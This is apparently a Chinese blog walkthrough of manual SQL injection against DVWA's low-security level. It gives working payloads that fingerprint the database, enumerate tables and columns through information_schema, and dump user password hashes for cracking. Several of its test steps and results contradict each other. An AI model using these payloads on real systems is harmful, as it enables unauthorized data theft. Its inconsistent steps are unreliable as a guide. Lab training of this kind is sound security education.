天天看點

DVWA------sql注入(low)(字元型)

=================================================================================

0x01:上low源碼
DVWA------sql注入(low)(字元型)

=================================================================================

0x02:sql注入(low)

一、sql注入的過程:

1.尋找注入點

2.判斷注入類型

3.判斷資料庫類型

4.擷取資料庫内容+提權

二、怎麼尋找注入點:

1.注入點特點:

①可以跟資料庫直接互動

②**?id=num**

? 是一種傳參的形式,必要的

id=1,有什麼用呢,它是用ID的值1與資料庫進行互動,進而獲得網頁内容的回顯

③如下圖所示,?id=1,成功傳回了網頁内容,與資料庫是直接互動的

DVWA------sql注入(low)(字元型)

2.注入點類型:

①get型:使用URL框注入

②post型:使用輸入框注入

③cokkie型

①字元型

②整型

三、怎麼判斷注入點類型:

get型的注入方法:

一般進去網頁後,會在id後面輸入,這樣的三個語句測試:

?id=1’

?id=1 and 1=1

?id=1 and 1=2

整型的判斷結果:

?id=1’ 報錯

?id=1’ and 1=1 正常回顯

?id=1’ and 1=2 不正常回顯

問:?id=1'  and  1=1到底是什麼啊?好惡心?
答:?id=1'  and  1=1的剖析
①?  		 //這個符号隻是一個固定的傳參格式,必須存在
②id=1		//一個語句,用來向伺服器互動時候,調用id=1的内容
③and      //一個邏輯判斷符号,邏輯與,衆所周知,隻有兩個表達式同時正确成立,才會運作該指令,才會與sql伺服器互動
④1=1		//恒真,一個真語句
⑤1=2		//恒假,一個假語句
⑥?id=1  and  1=1  //是一個真語句,會執行指令與伺服器互動
⑦?id=1  and  1=2  //是一個假語句,不會執行指令與伺服器互動
⑧總之,and  1=2  這個邏輯判斷語句就是,用來控制and前面的語句是否執行的
           

字元型的判斷結果:

?id=1’ 報錯

?id=1’ and 1=1 正常回顯

?id=1’ and 1=2 正常回顯

?id=1’ and ‘1’=‘1 正常

?id=1’ and ‘1’='1 不正常回顯

問:為什麼要加那麼多引号呢?花裡胡哨的。。。。。
答:?id=1'  and  '1'='1   剖析
①因為已知是字元型格式嘛,那麼這條語句實質上是:  ?id='1'  and  '1'='1'   
又,由于傳輸的時候,會自動在輸入的值得前後添加一對單引号,是以把最前和最後的單引号去掉就是:?id=1'  and  '1'='1
           

例字----post型的注入判斷,字元型判斷結果:

①輸入’

DVWA------sql注入(low)(字元型)

②結果為:’’’’’

DVWA------sql注入(low)(字元型)
問:你會發現,出現五個單引号,這是為什麼呢?

答:從内往外分析!
①一個單引号,這個是自己輸入的單引号
②還有一對單引号為什麼,因為,可能是字元型注入?然而字元型時候,系統會自動在參數的一前一後添加一對單引号,例如id='1'
③但是,還有一對引号呢?這個是報錯的提示,提示你時候使用單引号達到高亮的效果,隻是引住,起到強調的作用。
           

③輸入:1’ and ‘1’=‘1

DVWA------sql注入(low)(字元型)

結果如下:

DVWA------sql注入(low)(字元型)

④輸入:1’ and ‘1’='2

注意:結果也如下

DVWA------sql注入(low)(字元型)

三.判斷資料庫類型

四.擷取資料庫内容+提權

=================================================================================

0x03:low等級的手工注入過程如下

第一步:檢視注入點,很明顯的吧。。。。。

DVWA------sql注入(low)(字元型)

第二步:判斷注入類型

①輸入:

1'

DVWA------sql注入(low)(字元型)

//結果如下:報錯

DVWA------sql注入(low)(字元型)

②輸入:

1 and 1=1

DVWA------sql注入(low)(字元型)

//結果如下:正常回顯

DVWA------sql注入(low)(字元型)

③輸入:1 and 1=2

DVWA------sql注入(low)(字元型)

//結果如下:正常回顯

DVWA------sql注入(low)(字元型)

④輸入:

1' and '1'='1

DVWA------sql注入(low)(字元型)

//結果如下,結果如下:

DVWA------sql注入(low)(字元型)

⑤輸入:

1' and '1'='2

DVWA------sql注入(low)(字元型)

//結果如下,不正常回顯

DVWA------sql注入(low)(字元型)

由此判斷為:字元型注入。。。。。。。。。。。。。。。

第三步:判斷資料庫類型

1.dvwa使用的是mysql資料庫

第四步:開始注入資料庫,爆庫,提權等等

1.使用order by二分法猜測字段個數

①輸入:

1' order by 5

DVWA------sql注入(low)(字元型)

如圖所示:發現有錯誤

DVWA------sql注入(low)(字元型)

②輸入:

1' order by 5 #

DVWA------sql注入(low)(字元型)

//結果如下,這不是報錯,這個是顯示無法識别有5個列,說明莫得5個列

DVWA------sql注入(low)(字元型)

③輸入:

1' order by 3 #

DVWA------sql注入(low)(字元型)

//結果如下,顯示莫得3列

DVWA------sql注入(low)(字元型)

④輸入:

1' order by 4 #

DVWA------sql注入(low)(字元型)

//結果如下,顯示有兩個列

ID: 1’ order by 2 # //注意,這個是指令的回顯,隻是為了練習的友善,才顯示,正常情況莫得的

First name: admin //第一個列

Surname: admin //第二個列

DVWA------sql注入(low)(字元型)

2.聯合查詢:

①不需要再聯合查詢,嘗試哪個列中可以注入内容

因為:輸入:

1' union select 1,2 #

結果如下:first name和surname是有内容的

DVWA------sql注入(low)(字元型)

注意:聯合查詢的1和2隻是一個代數

②聯合查詢,把1和2換成database(),user(),version()等等檢視對應的資訊

輸入:

1' union select database(),user() #

結果如下:顯示了資料庫名字為dvwa,和使用者名稱為root,@隻是一個連接配接符,hostname為localhost

DVWA------sql注入(low)(字元型)

輸入:

1' union select version(),2 #

結果如下,顯示了資料庫版本為5.5.53

DVWA------sql注入(low)(字元型)

3.爆資料庫dvwa裡的表

方法1:一次性顯示表

①輸入,

1' union select group_concat(table_name),user() from information_schema.tables where table_schema='dvwa' #

結果如下:一次性爆出了所有的表為:guestbook和users

DVWA------sql注入(low)(字元型)

方法2:一個一個的顯示

②輸入,

1' union select 1,table_name from information_schema.tables where table_schema='dvwa'#

結果如下:有兩個表guestbook和users

DVWA------sql注入(low)(字元型)

4.爆出users表裡的列

①輸入,

1' union select 1,column_name from information_schema.columns where table_name='users'#

結果如下:爆出表users裡的内容,有8個列

DVWA------sql注入(low)(字元型)

5.爆出user列和passwd列裡的内容資訊

①輸入,

1' union select 1,group_concat(user,password) from users#

結果如下,但是有些雜亂,全都放到一起了

DVWA------sql注入(low)(字元型)

②輸入,

1' union select 1,concat_ws(char(32,58,32),user,password) from users#

注意:32為空格,58為冒号

結果如下:顯示了,使用者名:密碼

DVWA------sql注入(low)(字元型)

上圖中的密碼經過了md5加密,解密即可,如下,使用者admin的密碼為password

//解密網址:https://www.cmd5.com/

DVWA------sql注入(low)(字元型)

=================================================================================